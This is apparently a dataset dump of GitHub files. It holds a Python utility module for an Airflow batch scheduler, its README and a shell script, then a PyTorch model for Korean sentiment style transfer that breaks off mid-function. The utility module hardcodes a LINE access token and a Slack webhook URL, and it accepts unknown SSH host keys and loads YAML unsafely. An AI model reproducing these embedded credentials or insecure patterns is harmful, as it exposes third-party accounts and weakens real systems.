_mssql\nimport ftplib\nimport psycopg2\nimport psycopg2.extras\nimport pymssql\nimport requests, json\nimport time\nimport urllib.parse\nimport yaml\nimport paramiko\nimport os\n\n\ndef chunks(l, n=10000):\n \"\"\"Yield successive n-sized chunks from l.\"\"\"\n for i in range(0, len(l), n):\n yield l[i:i + n]\n\n\ndef elapse(tb, start_time):\n elapsed_time = time.time() - start_time\n print(\"===== Finished {} in {} s\".format(tb, elapsed_time))\n\n\ndef config(env):\n with open(\"config.yml\", 'r') as ymlfile:\n cfg = yaml.load(ymlfile)\n\n return cfg[env]\n\n\ndef notifyLine(message):\n LINE_ACCESS_TOKEN = \"5FJgfpvf4Jgljm8AQ9H6DHFt858TasxjDtf80uYMcMk\"\n LINE_HEADERS = {\n 'Content-Type': 'application/x-www-form-urlencoded',\n \"Authorization\": \"Bearer \" + LINE_ACCESS_TOKEN\n }\n LINE_NOTI_URL = \"https://notify-api.line.me/api/notify\"\n msg = urllib.parse.urlencode({\"message\": message})\n response = requests.post(url=LINE_NOTI_URL, headers=LINE_HEADERS, data=msg)\n print(\n 'Line Response: {status_code}'.format(status_code=response.status_code))\n\n\ndef notifySlack(message):\n SLACK_URL = \"https://hooks.slack.com/services/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\"\n payload = {\n \"text\": message,\n }\n data = json.dumps(payload)\n response = requests.post(SLACK_URL, data=data)\n print(\n 'Slakc Response: {status_code}'.format(status_code=response.status_code))\n\n\ndef sftp(host, owner, source, destination, files):\n print('[SFTP] - source: {}, destionation: {}, files: {}'.format(source, destination, files))\n ssh = paramiko.SSHClient()\n ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n k = paramiko.rsakey.RSAKey.from_private_key_file('key/' + owner)\n ssh.connect(host, username=owner, pkey=k)\n sftp = ssh.open_sftp()\n for file in files:\n sftp.put(os.path.join(source, file), os.path.join(destination, file))\n\n\ndef cleardir(path):\n filelist = [f for f in os.listdir(path)]\n for f in filelist:\n os.remove(os.path.join(path, f))\n\n\ndef connect_cmos(env):\n return pymssql.connect(env['host'], env['user'], env['password'], env['db'])\n\n\ndef mssql_cmos(env):\n return _mssql.connect(\n server=env['host'],\n user=env['user'],\n password=env['password'],\n database=env['db'])\n\n\ndef connect_psql(env):\n return psycopg2.connect(\n host=env['host'],\n port=env['port'],\n user=env['user'],\n password=env['password'],\n dbname=env['db'])\n\n\ndef replace_pipe(data):\n for key, value in data.items():\n data[key] = str(value).replace('|', '')\n return data\n\n\ndef get_file_seq(prefix, output_path, ext):\n files = [\n f.split('.')[0] for f in os.listdir(output_path)\n if os.path.isfile(os.path.join(output_path, f)) and f.endswith(ext)\n ]\n return 1 if not files else max(\n int(f[len(prefix)]) if f.startswith(prefix) else 0 for f in files) + 1\n\n\ndef query_matview(env, refresh_view, str_query):\n with connect_psql(env) as conn:\n with conn.cursor(cursor_factory=psycopg2.extras.DictCursor) as cursor:\n cursor.execute(refresh_view)\n cursor.execute(str_query)\n\n return cursor.fetchall()\n\n\ndef query_all(env, sql):\n with connect_psql(env) as conn:\n with conn.cursor(cursor_factory=psycopg2.extras.DictCursor) as cursor:\n cursor.execute(sql)\n\n return cursor.fetchall()\n\n\ndef insert_transaction(env, sql):\n with connect_psql(env) as conn:\n with conn.cursor(cursor_factory=psycopg2.extras.DictCursor) as cursor:\n cursor.execute(sql)\n count = cursor.rowcount\n print (count, \"Record inserted successfully !!\")\n\ndef ftp(host, user, pwd, src, dest):\n print('[FTP] - host: {}, user: {}, source: {}, destination: {}'.format(\n host, user, src, dest))\n with ftplib.FTP(host) as ftp:\n try:\n ftp.login(user, pwd)\n files = [f for f in os.listdir(src)]\n for f in files:\n source = '{}/{}'.format(src, f)\n destination = '{}/{}'.format(dest, f)\n with open(source, 'rb') as fp:\n res = ftp.storlines('STOR {}'.format(destination), fp)\n if not res.startswith('226 Transfer complete'):\n print('[FTP] - Upload failed: {}'.format(destination))\n except ftplib.all_errors as e:\n print('[FTP] - error:', e)" }, { "alpha_fraction": 0.6598360538482666, "alphanum_fraction": 0.6857923269271851, "avg_line_length": 28.31999969482422, "blob_id": "deac9cd04a0838defd1e3e2cfbfbf7ae17fffea4", "content_id": "f8e0cf24fb6c63c4a763b35692aff2f3f19917bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 732, "license_type": "no_license", "max_line_length": 114, "num_lines": 25, "path": "/README.md", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "### Airflow Batch Scheduler\n\n* Prepare environment\n\n ```\n\t$ brew uninstall --force freetds\n $ brew install [email protected]\n $ brew link --force [email protected]\n $ brew install python3\n $ python3 -m venv ~/.venv/airflow\n\t$ source ~/.venv/airflow/bin/activate\n $ pip install -r setup.pip\n ```\n\n* Code format with `yapf`\n\n yapf -i --style='{based_on_style: pep8, indent_width: 2}' <file.py>\n\n* Airflow\n\n* Reference\n\n - [Pymsql](http://gree2.github.io/python/setup/2017/04/19/python-instal-pymssql-on-mac)\n - [ODBC](https://github.com/mkleehammer/pyodbc/wiki/Connecting-to-SQL-Server-from-Mac-OSX)\n - [SQLAlchemy](http://thelaziestprogrammer.com/sharrington/databases/connecting-to-sql-server-with-sqlalchemy)" }, { "alpha_fraction": 0.7105262875556946, "alphanum_fraction": 0.7255638837814331, "avg_line_length": 32.25, "blob_id": "6df8fa10e2395bfe6d62723c42b0921190b5a21e", "content_id": "7588c8b580d156d18f672bb123c039a00241f21a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 266, "license_type": "no_license", "max_line_length": 65, "num_lines": 8, "path": "/scripts/autopos-ofin-cgo.sh", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "#!/bin/bash\ncd /opt/dailyinterface\nsource env/bin/activate\necho \"===== Starting generate text AutoPOS OFIN CGO with env: $1\"\npython src/autopos_ofin_gl_zn_cgo.py $1\npython src/autopos_ofin_ap_head_cgo.py $1\npython src/autopos_ofin_ap_line_cgo.py $1\necho \"===== END\"\n" } ]
43
Leonid2004/SeeFight
https://github.com/Leonid2004/SeeFight
b8b8cf75ea2bc9de136db2e991248128410f1cdf
e51d82e0cdea29994e483285a31aabec94b2abd2
fa3e337433cf176e952c63c99b4930d718872ef4
refs/heads/main
2023-01-02T09:15:05.335525
2020-10-28T16:39:20
2020-10-28T16:39:20
306,138,866
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4717246890068054, "alphanum_fraction": 0.485569030046463, "avg_line_length": 33.187164306640625, "blob_id": "3031d68ac20919d9d6a6e240259bc1147d80c5ba", "content_id": "916a8a683a1f78019477874c59ec3d39d9cf9eb9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12997, "license_type": "no_license", "max_line_length": 132, "num_lines": 374, "path": "/main.py", "repo_name": "Leonid2004/SeeFight", "src_encoding": "UTF-8", "text": "#Возможно я немного отошел от задания но я решил немного сделать по другому с\n#точки зрения ООП. Решил описать через 3 класса,было так немного удобнее(Главное же что бы игра работала) ;)\n#вот как тут:\n#\n#\n#\n# Поле :\n# |0| - пусто\n# |1| - корабль\n# |X| - попадание по кораблю\n# |T| - попадание в пустую клетку\n#\n#\n\nimport random\nimport math\nclass player:\n attackArea = []\n Ships = [[],[],[],[],[],[],[]] #0 - Big, 1,2 - Medium, 3,4,5,6 - Small;\n\n def attack(self,attackPlace):\n self.attackArea.append(attackPlace)\n return self.attackArea\n\n def putShips(self,fieldSize):\n FirstCellCol = int()\n FirstCellStr = int()\n Dir = str()\n Direction = [] #up down right left\n counter = 0\n while counter < 7:\n print(counter)\n if counter == 0:\n FirstCellStr = int(input(\"Line of starting point for the big ship:\"))\n FirstCellCol = int(input(\"Column of starting point for the big ship:\"))\n Dir = str(input(\"Direction for the ship (u - up d - down r - right l - left):\"))\n elif counter > 0 and counter < 3:\n FirstCellStr = int(input(\"Line of starting point for the medium ship:\"))\n FirstCellCol = int(input(\"Column of starting point for the medium ship:\"))\n Dir = str(input(\"Direction for the ship (u - up d - down r - right l - left):\"))\n elif counter >=3:\n FirstCellStr = int(input(\"Line of starting point for the small ship:\"))\n FirstCellCol = int(input(\"Column of starting point for the small ship:\"))\n\n \n\n\n Direction.append(Dir)\n strs = FirstCellStr\n colmns = FirstCellCol\n cntr = 0\n for j in range(0, fieldSize):\n cntr += strs\n cntr += colmns\n flag = False\n self.Ships[counter].append(cntr)\n for o in range(0, len(self.Ships)):\n if flag == True:\n break\n for j in range(0, len(self.Ships[o])):\n if flag == True:\n break\n for k in range(o + 1, len(self.Ships)):\n if flag == True:\n break\n for l in range(0, len(self.Ships[k])):\n if self.Ships[o][j] == self.Ships[k][l] or abs((self.Ships[o][j] - self.Ships[k][l])) == 1:\n print(\"You already shot in this place, enter another one\", k, l, o, j)\n counter -= 1\n flag = True\n self.Ships[k].pop(l)\n break\n\n\n counter += 1\n for i in range (0,3):\n if i == 0:#big ship\n if Direction[i] == \"l\":\n self.Ships[i].append(self.Ships[i][0]-1)\n self.Ships[i].append(self.Ships[i][0]-2)\n if Direction[i] == \"r\":\n self.Ships[i].append(self.Ships[i][0]+1)\n self.Ships[i].append(self.Ships[i][0]+2)\n if Direction[i] == \"u\":\n self.Ships[i].append(self.Ships[i][0] - fieldSize)\n self.Ships[i].append(self.Ships[i][0] - (2*fieldSize))\n if Direction[i] == \"d\":\n self.Ships[i].append(self.Ships[i][0] + fieldSize)\n self.Ships[i].append(self.Ships[i][0] + (2*fieldSize))\n\n if i > 0 and i < 3:\n if Direction[i] == \"l\":\n self.Ships[i].append(self.Ships[i][0]-1)\n if Direction[i] == \"r\":\n self.Ships[i].append(self.Ships[i][0]+1)\n if Direction[i] == \"u\":\n self.Ships[i].append(self.Ships[i][0] - fieldSize)\n if Direction[i] == \"d\":\n self.Ships[i].append(self.Ships[i][0] + fieldSize)\n ### ##\n\n # WrongAnswers = []\n # for i in range(0,len(self.Ships)):\n # for j in range(0,len(self.Ships[i])):\n # for k in range(i+1,len(self.Ships)):\n # for l in range(0,len(self.Ships[k])):\n # if self.Ships[i][j] == self.Ships[k][l]:\n # print(\"Too near!\",k,l,i,j)\n # WrongAnswers.append((i,j,k,l))\n\n\n\n return self.Ships\n\n def printShips(self,ships):\n print(ships)\n\n\n\n \n \nclass AI(player):\n attackArea = []\n Ships = [[], [], [], [], [], [], []]\n dirr = \"ldru\"\n Direction = []\n def attack(self,FieldSize):\n place1 = random.randint(0,FieldSize)\n place2 = random.randint(0,FieldSize)\n self.attackArea.append((place1,place2))\n return self.attackArea\n\n def putShips(self,FieldSize):\n for i in range(0, 3):\n self.Direction.append(random.choice(self.dirr))\n cn = 0\n while cn < 7:\n if cn == 0:\n placeStr = random.randint(3, FieldSize-4)\n placeCol = random.randint(3, FieldSize-4)\n if cn > 0 and cn < 3:\n placeStr = random.randint(2, FieldSize-3)\n placeCol = random.randint(2, FieldSize-3)\n else:\n placeStr = random.randint(0, FieldSize-2)\n placeCol = random.randint(0, FieldSize-2)\n \n cntr = 0\n for j in range(0, FieldSize):\n cntr += placeStr\n print(cntr)\n print(\"\")\n cntr += placeCol\n print(cntr)\n self.Ships[cn].append(cntr)\n flag = False\n for o in range(0, len(self.Ships)):\n if flag == True:\n break\n for j in range(0, len(self.Ships[o])):\n if flag == True:\n break\n for k in range(o + 1, len(self.Ships)):\n if flag == True:\n break\n for l in range(0, len(self.Ships[k])):\n if (self.Ships[o][j] == self.Ships[k][l]) or abs((self.Ships[o][j] - self.Ships[k][l])) == 1:\n print(\"You already shot in this place or very near, enter another one\", k, l, o, j)\n print(\"wtf\",cn)\n cn -= 1\n flag = True\n self.Ships[k].pop(l)\n break\n \n cn += 1\n print(self.Ships)\n print(self.Direction)\n for i in range(0, 3):#############problem I guess it it because we shoud substract 1 form the size idk\n if i == 0: # big ship\n if self.Direction[i] == 'l':#error is here if the big ship or medium can go out of boundaries\n self.Ships[i].append(self.Ships[i][0] - 1)\n self.Ships[i].append(self.Ships[i][0] - 2)\n if self.Direction[i] == 'r':\n self.Ships[i].append(self.Ships[i][0] + 1)\n self.Ships[i].append(self.Ships[i][0] + 2)\n if self.Direction[i] == 'u':\n self.Ships[i].append(self.Ships[i][0] - FieldSize)\n self.Ships[i].append(self.Ships[i][0] - (2 * FieldSize))\n if self.Direction[i] == 'd':\n self.Ships[i].append(self.Ships[i][0] + FieldSize)\n self.Ships[i].append(self.Ships[i][0] + (2 * FieldSize))\n\n if i > 0 and i < 3:\n if self.Direction[i] == 'l':\n self.Ships[i].append(self.Ships[i][0] - 1)\n if self.Direction[i] == 'r':\n self.Ships[i].append(self.Ships[i][0] + 1)\n if self.Direction[i] == 'u':\n self.Ships[i].append(self.Ships[i][0] - FieldSize)\n if self.Direction[i] == 'd':\n self.Ships[i].append(self.Ships[i][0] + FieldSize)\n return self.Ships\n\n\n\n\nclass battlefield:\n size = int()\n field = []\n def __init__(self, size):\n self.size = size\n\n\n # destroyed = [(),(),()]\n def drawField(self):\n for i in range(0,(self.size*self.size)):\n if i % self.size == 0:\n print(\"\\n\")\n print(self.field[i],end=\"\")\n print(\" \");\n\n def fillField (self,attacked,ships):\n attackFieldPlaceConverter = []\n\n for i in range(0,len(attacked)):\n # for j in range(0,self.size):\n strs = attacked[i][0]\n colmns = attacked[i][1]\n cntr = 0\n for j in range(0,self.size):\n cntr += strs\n cntr += colmns\n attackFieldPlaceConverter.append(cntr)\n\n for i in range(0,(self.size*self.size)):\n self.field.append(\"|0|\")\n\n for i in range(0,7):\n for j in range(0,len(ships[i])):\n self.field.pop(ships[i][j])\n self.field.insert(ships[i][j],\"|1|\")\n\n for i in range(0,len(attackFieldPlaceConverter)):\n hitTheShip = False\n self.field.pop(attackFieldPlaceConverter[i])\n for k in range(0,7):\n for j in range(0,len(ships[k])):\n if attackFieldPlaceConverter[i] == ships[k][j]:\n hitTheShip = True\n\n if hitTheShip == True:\n self.field.insert(attackFieldPlaceConverter[i],\"|X|\")\n else:\n self.field.insert(attackFieldPlaceConverter[i], \"|T|\")\n\n#\n# a = battlefield(8)\n# b = [(1,5),(0,0),(0,2)]\n# attackThisCell = [0,0]\n# a.fillField(b)\n#\n# a.drawField()\n#\n# user = player()\n# print(user.canIattack())\n# user.attack(attackThisCell)\n# print(user.canIattack())\n# user.attack(attackThisCell)\n# print(user.canIattack())\n# # a = [(1,0),(3,5),(7,10)]\n# #\n# # print(len(a))\n# #\n# # b = [[1,2,3,11,12],[4,5,6,7,8]]\n# # print(b[1][0])\n\n\n# user = player(True)\n# theField = battlefield(6)\n# theField.fillField(user.attackArea)\n# theField.drawField()\n# print(\"\")\n# if user.canIattack() == True:\n# theField.fillField(user.attack((0,1)))\n# theField.drawField()\n#\n#\n# machine = AI(True)\n# print(machine.canIattack())\n\n\n####################################################################################################################################\n# UserTurn = bool(random.randint(0,1))\n# BotTurn = bool(not UserTurn)\n# print(UserTurn)\n# print(BotTurn)\n#\n# person = player()\n# bot = AI()\n# theSizeOfField = int(input(\"\\nEnter the size of battlefield = \"))\n#\n# personField = battlefield(theSizeOfField)\n# botField = battlefield(theSizeOfField)\n# while True:\n# if UserTurn == True:\n# personField.fillField(bot.attackArea)\n# personField.drawField()\n# x = int(input(\"\\nAttacking line = \"))\n# y = int(input(\"\\nAttacking column= \"))\n# person.attack((x,y))\n# UserTurn = False\n# BotTurn = True\n#\n# elif BotTurn == True:\n# bot.attack(theSizeOfField)\n# BotTurn = False\n# UserTurn = True\n\n########################################\n# b = battlefield(8)\n# a = player()\n# a.putShips(8)\n# x = int(input(\"attack Line\"))\n# y = int(input(\"attack Column\"))\n# a.attack((x,y))\n#\n# machine = AI()\n#\n# AIBattleField = battlefield(8)\n# AIBattleField.fillField((),a.Ships)\n# AIBattleField.drawField()\n# AIBattleField.fillField(a.attackArea,a.Ships)\n# AIBattleField.drawField()\n#machine = AI()\n#machine1 = battlefield(8)\n#machine1.fillField(machine.attackArea,machine.putShips(8))\n#machine1.drawField()\n\n\n############################## G A M E #############################\n\nUser = player()\nComputer = AI()\n\nFieldSize = int(input(\"Please enter the size of playing field\"))\n\nUserField = battlefield(FieldSize)\nComputerField = battlefield(FieldSize)\n\nUserTurn = bool(random.randint(0,1))\nComputerTurn = bool(not UserTurn)\nUser.putShips(FieldSize)\nComputer.putShips(FieldSize)\n\nFirstTimeLoop = True\nwhile True:\n if FirstTimeLoop == False:\n UserField.drawField()\n\n if UserTurn == True:\n x = int(input(\"Which line do you want to attack?\"))\n y = int(input(\"Which column do you want to attack?\"))\n User.attack((x,y))\n ComputerField.fillField(User.attackArea,Computer.Ships)\n UserTurn = False\n ComputerTurn = True\n\n if ComputerTurn == True:\n Computer.attack(FieldSize)\n UserField.fillField(Computer.attackArea,User.Ships)\n ComputerTurn = False\n UserTurn = True\n\n FirstTimeLoop = False" } ]
1
rungjoo/korea_sentiment_style_transfer
https://github.com/rungjoo/korea_sentiment_style_transfer
93240e90e9b30bf6e6c0f61607212f438b8475ca
cd6c63ca7983f3c829b73ebcee9fb495cc7b5d2a
bb7f047270ee9fa1085672fc950b18b348d2b0d2
refs/heads/master
2020-08-24T07:14:00.142224
2020-07-22T00:34:12
2020-07-22T00:34:12
216,781,482
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.4969756603240967, "alphanum_fraction": 0.5210296511650085, "avg_line_length": 38.89044952392578, "blob_id": "032b85d985bec24ea2ea0868f5dbd85075d15488", "content_id": "ae94e99b35b869ab7382352ae4a43802656d9cda", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14218, "license_type": "no_license", "max_line_length": 189, "num_lines": 356, "path": "/Not_preserving_context_v3/model.py", "repo_name": "rungjoo/korea_sentiment_style_transfer", "src_encoding": "UTF-8", "text": "import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom itertools import chain\n\nimport sys\nsys.path.insert(0, \"/DATA/joosung/pytorch_pretrained_BERT_master\")\nfrom pytorch_pretrained_bert.tokenization import load_vocab\nfrom pytorch_bert_embedding import *\n\nclass TowardModel(nn.Module):\n def __init__(self, drop_rate=0, gpu = True):\n super(TowardModel, self).__init__()\n \n self.UNK_IDX = 1\n self.PAD_IDX = 2\n self.START_IDX = 3\n self.EOS_IDX = 4\n self.MAX_SENT_LEN = 30\n self.gpu = gpu\n \n self.n_vocab = 6222\n self.emb_dim = 768\n \n self.vocab = load_vocab('/DATA/joosung/pytorch_pretrained_BERT_master/korea_vocab.txt')\n self.pos2token = {}\n for k,v in self.vocab.items():\n self.pos2token[v] = k\n \n \"\"\"\n attribute matrix\n \"\"\"\n self.hidden_A = 2 # 128\n# self.matrix_A = nn.Linear(2, self.hidden_A) \n \n \"\"\"\n Encoder\n \"\"\"\n self.hidden_GRU_E = self.emb_dim-self.hidden_A # 766=768-2\n \n self.GRU_E = nn.GRU(self.emb_dim, self.hidden_GRU_E)\n \n \"\"\"\n Decoder\n \"\"\"\n self.word_dim = self.emb_dim # 768\n self.hidden_GRU_D = self.emb_dim # 768\n \n self.word_emb = nn.Embedding(self.n_vocab, self.word_dim, self.PAD_IDX)\n self.GRU_D = nn.GRU(self.word_dim, self.hidden_GRU_D)\n self.matrix_D = nn.Linear(self.hidden_GRU_D, self.n_vocab)\n \n \"\"\"\n Discriminator(classifier)\n \"\"\"\n self.channel_out = 100\n self.conv2d_2 = nn.Conv2d(1,self.channel_out,(2,self.emb_dim))\n self.conv2d_3 = nn.Conv2d(1,self.channel_out,(3,self.emb_dim))\n self.conv2d_4 = nn.Conv2d(1,self.channel_out,(4,self.emb_dim))\n self.conv2d_5 = nn.Conv2d(1,self.channel_out,(5,self.emb_dim))\n self.fc_drop = nn.Dropout(drop_rate)\n self.disc_fc = nn.Linear(4*self.channel_out, 2)\n \n \n ## parameters\n # self.matrix_A.parameters()\n self.aed_params = list(self.GRU_E.parameters())+list(self.word_emb.parameters())+list(self.GRU_D.parameters())+list(self.matrix_D.parameters())\n# self.aed_params = chain(\n# self.GRU_E.parameters(), self.word_emb.parameters(), self.GRU_D.parameters(), self.matrix_D.parameters()\n# )\n\n self.cls_params = list(self.conv2d_2.parameters())+list(self.conv2d_3.parameters())+list(self.conv2d_4.parameters())+list(self.conv2d_5.parameters())+list(self.disc_fc.parameters())\n \n self.att_params = list(self.GRU_E.parameters())+list(self.GRU_D.parameters())+list(self.matrix_D.parameters())\n \n def encoder(self, enc_input):\n # enc_input: (seq_len, batch, emb_dim)\n _, final_h = self.GRU_E(enc_input) # (1, batch, emb_dim)\n \n if self.gpu == True:\n return final_h.cuda()\n else:\n return final_h # (1, batch, hidden_GRU_E)\n \n def decoder(self, enc_input, dec_tokens, attributes):\n \"\"\"\n enc_input: (seq_len, batch, emb_dim)\n dec_tokens: (batch, seq_len+2) with [CLS] [SEP]\n attributes: (batch, 2)\n \"\"\"\n enc_vec = self.encoder(enc_input) # (1, batch, hidden_GRU_E)\n att = attributes.unsqueeze(0) # (1, batch, 2)\n enc_att = att\n# enc_att = self.matrix_A(att) # (1, batch, hidden_A)\n init_h = torch.cat([enc_vec, enc_att], 2) # (1, batch, hidden_GRU_E+hidden_A) \n \n dec_input = dec_tokens[:,:-1] # without [SEP]\n dec_1 = self.word_emb(dec_input) # (batch, seq_len, word_dim) with [CLS] / exactly seq_len+1\n dec_1 = dec_1.transpose(0,1) # (seq_len, batch, word_dim)\n \n dec_2, _ = self.GRU_D(dec_1, init_h) # (seq_len, batch, hidden_GRU_D)\n \n dec_out_1 = self.matrix_D(dec_2) # (seq_len, batch, n_vocab)\n \n if self.gpu == True:\n return dec_2.cuda(), dec_out_1.cuda()\n else:\n return dec_2, dec_out_1\n \n def generator(self, enc_input, attributes, train = True): # generate tokens\n batch_size = enc_input.shape[1]\n \n \"\"\"\n GRU_D initialization\n \"\"\"\n enc_vec = self.encoder(enc_input) # (1, batch, hidden_E1)\n att = attributes.unsqueeze(0) # (1, batch, 2)\n enc_att = att\n# enc_att = self.matrix_A(att) # (1, batch, hidden_A)\n init_h = torch.cat([enc_vec, enc_att], 2) # (1, batch, hidden_E1+hidden_A)\n \n \"\"\"\n start token setting\n \"\"\"\n start_token_list = [self.START_IDX]\n start_token = torch.from_numpy(np.asarray(start_token_list))\n \n start_token = start_token.view(1,-1) # (1, 1)\n if self.gpu == True:\n start_token = start_token.cuda()\n \n dec_in = self.word_emb(start_token) # (1, 1, word_dim)\n dec_in = dec_in.repeat(1,batch_size,1) # (1, batch, word_dim)\n \n \"\"\"\n generate sentence length\n \"\"\"\n # consider SEP\n if train==True:\n gen_length = enc_input.shape[0]\n \n gen_token_list = []\n for i in range(gen_length):\n gen_out, init_h = self.GRU_D(dec_in, init_h) # (1, batch, hidden_GRU_D)\n\n gen_vocab = self.matrix_D(gen_out) # (1, batch, n_vocab) \n token_prob = F.softmax(gen_vocab, 2) # (1, batch, n_vocab)\n token_pos = token_prob.argmax(2) # (1, batch)\n\n dec_in = self.word_emb(token_pos) # (1, batch, word_dim)\n\n gen_token_list.append(token_pos) # [(1,batch),... ]\n else:\n gen_length = self.MAX_SENT_LEN\n \n gen_token_list = []\n for i in range(gen_length):\n gen_out, init_h = self.GRU_D(dec_in, init_h) # (1, batch, hidden_GRU_D)\n\n gen_vocab = self.matrix_D(gen_out) # (1, batch, n_vocab) \n token_prob = F.softmax(gen_vocab, 2) # (1, batch, n_vocab)\n token_pos = token_prob.argmax(2) # (1, batch)\n \n if token_pos == self.EOS_IDX:\n break\n\n dec_in = self.word_emb(token_pos) # (1, batch, word_dim)\n\n gen_token_list.append(token_pos) # [(1,batch),... ] \n \n \n if self.gpu == True:\n return torch.cat(gen_token_list, 0).transpose(0, 1).cuda() # (batch, gen_length)\n else:\n return torch.cat(gen_token_list, 0).transpose(0, 1) # (batch, gen_length)\n \n def discriminator(self, tokens):\n \"\"\"\n tokens: (batch, seq_len)\n \"\"\"\n if tokens.size(1) < 5:\n padding_size = 5-tokens.size(1)\n padding_token = []\n for k in range(tokens.size(0)):\n temp = []\n for i in range(padding_size):\n temp.append(self.PAD_IDX)\n padding_token.append(temp) \n padding_token=torch.from_numpy(np.array(padding_token))\n if self.gpu == True:\n padding_token = padding_token.cuda()\n tokens=torch.cat([tokens,padding_token], 1) # (batch, seq_len+padding) = (batch, 5)\n \n word_emb = self.word_emb(tokens) # (batch, seq_len, word_dim)\n word_2d = word_emb.unsqueeze(1) # (batch, 1, seq_len, word_dim)\n\n x2 = F.relu(self.conv2d_2(word_2d)).squeeze(3) # bi-gram, (batch, channel_out, seq_len-1)\n x3 = F.relu(self.conv2d_3(word_2d)).squeeze(3) # 3-gram, (batch, channel_out, seq_len-2)\n x4 = F.relu(self.conv2d_4(word_2d)).squeeze(3) # 4-gram, (batch, channel_out, seq_len-3)\n x5 = F.relu(self.conv2d_5(word_2d)).squeeze(3) # 5-gram, (batch, channel_out, seq_len-4)\n \n # Max-over-time-pool\n x2 = F.max_pool1d(x2, x2.size(2)).squeeze(2) # (batch, channel_out)\n x3 = F.max_pool1d(x3, x3.size(2)).squeeze(2) # (batch, channel_out)\n x4 = F.max_pool1d(x4, x4.size(2)).squeeze(2) # (batch, channel_out)\n x5 = F.max_pool1d(x5, x5.size(2)).squeeze(2) # (batch, channel_out)\n \n x = torch.cat([x2, x3, x4, x5], dim=1) # (batch, channel_out*4)\n\n y1 = self.fc_drop(x)\n y2 = self.disc_fc(y1) # (batch, 2)\n\n if self.gpu == True:\n return y2.cuda()\n else:\n return y2\n \n def gen2cls(self, enc_input, attributes, train = True):\n batch_size = enc_input.shape[1]\n \n \"\"\"\n GRU_D initialization\n \"\"\"\n enc_vec = self.encoder(enc_input) # (1, batch, hidden_E1)\n att = attributes.unsqueeze(0) # (1, batch, 2)\n enc_att = att\n# enc_att = self.matrix_A(att) # (1, batch, hidden_A)\n init_h = torch.cat([enc_vec, enc_att], 2) # (1, batch, hidden_E1+hidden_A)\n \n \"\"\"\n start token setting\n \"\"\"\n start_token_list = [self.START_IDX]\n start_token = torch.from_numpy(np.asarray(start_token_list))\n \n start_token = start_token.view(1,-1) # (1, 1)\n if self.gpu == True:\n start_token = start_token.cuda()\n \n dec_in = self.word_emb(start_token) # (1, 1, word_dim)\n dec_in = dec_in.repeat(1,batch_size,1) # (1, batch, word_dim)\n \n \"\"\"\n generate sentence length\n \"\"\"\n if train==True:\n gen_length = enc_input.shape[0]\n else:\n gen_length = self.MAX_SENT_LEN\n \n gen_token_emb = []\n for i in range(gen_length):\n gen_out, init_h = self.GRU_D(dec_in, init_h) # (1, batch, hidden_GRU_D)\n \n gen_vocab = self.matrix_D(gen_out) # (1, batch, n_vocab) \n token_prob = F.softmax(gen_vocab, 2) # (1, batch, n_vocab)\n \n ## soft generation sequence because of back-propagation\n dec_in = torch.bmm(token_prob, self.word_emb.weight.unsqueeze(0)) # (1, batch, word_dim) = (1, batch, n_vocab) x (1, n_vocab, emb_dim)\n \n# token_pos = token_prob.argmax(2) # (1, batch) \n# dec_in = self.word_emb(token_pos) # (1, batch, word_dim)\n \n gen_token_emb.append(dec_in) # [(1, batch, word_dim),... ]\n \n word_emb = torch.cat(gen_token_emb, 0).transpose(0, 1) # (batch, seq_len, word_dim) \n \n word_2d = word_emb.unsqueeze(1) # (batch, 1, seq_len, word_dim)\n\n x2 = F.relu(self.conv2d_2(word_2d)).squeeze(3) # bi-gram, (batch, channel_out, seq_len-1)\n x3 = F.relu(self.conv2d_3(word_2d)).squeeze(3) # 3-gram, (batch, channel_out, seq_len-2)\n x4 = F.relu(self.conv2d_4(word_2d)).squeeze(3) # 4-gram, (batch, channel_out, seq_len-3)\n x5 = F.relu(self.conv2d_5(word_2d)).squeeze(3) # 5-gram, (batch, channel_out, seq_len-4)\n \n # Max-over-time-pool\n x2 = F.max_pool1d(x2, x2.size(2)).squeeze(2) # (batch, channel_out)\n x3 = F.max_pool1d(x3, x3.size(2)).squeeze(2) # (batch, channel_out)\n x4 = F.max_pool1d(x4, x4.size(2)).squeeze(2) # (batch, channel_out)\n x5 = F.max_pool1d(x5, x5.size(2)).squeeze(2) # (batch, channel_out)\n \n x = torch.cat([x2, x3, x4, x5], dim=1) # (batch, channel_out*4)\n\n y1 = self.fc_drop(x)\n y2 = self.disc_fc(y1) # (batch, 2)\n\n if self.gpu == True:\n return y2.cuda()\n else:\n return y2 \n \n \n def gen2sentence(self, gen_tokens):\n \"\"\"\n gen_tokens: (batch, gen_length)\n \"\"\"\n \n gen_sentences = []\n for i in range(gen_tokens.shape[0]): # batch\n token_str = ''\n for j in range(gen_tokens.shape[1]): # seq_len\n token = self.pos2token[gen_tokens[i,j].item()]\n token_str += ' '\n token_str += token \n gen_sentence = self.pos2sentence(token_str)\n gen_sentences.append(gen_sentence)\n return gen_sentences\n \n def pos2sentence(self, token_string):\n token_string = token_string.replace(' ##','')\n token_string = token_string.replace (\" ' \",\"'\")\n token_string = token_string.replace (' ?','?')\n token_string = token_string.replace (' !','!')\n token_string = token_string.replace (' .','.')\n token_string = token_string.replace (' ,',',')\n token_string = token_string.strip()\n return token_string\n \n def AED_loss(self, targets, recon_out, gen_out):\n \"\"\"\n targets: (batch, seq_len+2) with [CLS], [SEP]\n recon_out: (seq_len+1, batch, vocab_size) with [SEP]\n gen_out: (seq_len+1, batch, vocab_size) with [SEP]\n \"\"\"\n final_targets = targets[:,1:] # (batch, seq_len+1) with only [SEP]\n recon_out = recon_out.permute(1,0,2) # (batch, seq_len+1, vocab_size)\n gen_out = gen_out.permute(1,0,2) # (batch, seq_len+1, vocab_size)\n \n final_targets = final_targets.contiguous()\n recon_out = recon_out.contiguous()\n gen_out = gen_out.contiguous()\n \n final_targets = final_targets.view(-1) # (batch*seq_len) easliy thinking about seq_len\n recon_out = recon_out.view(-1, recon_out.shape[2]) # (batch x seq_len, vocab_size)\n 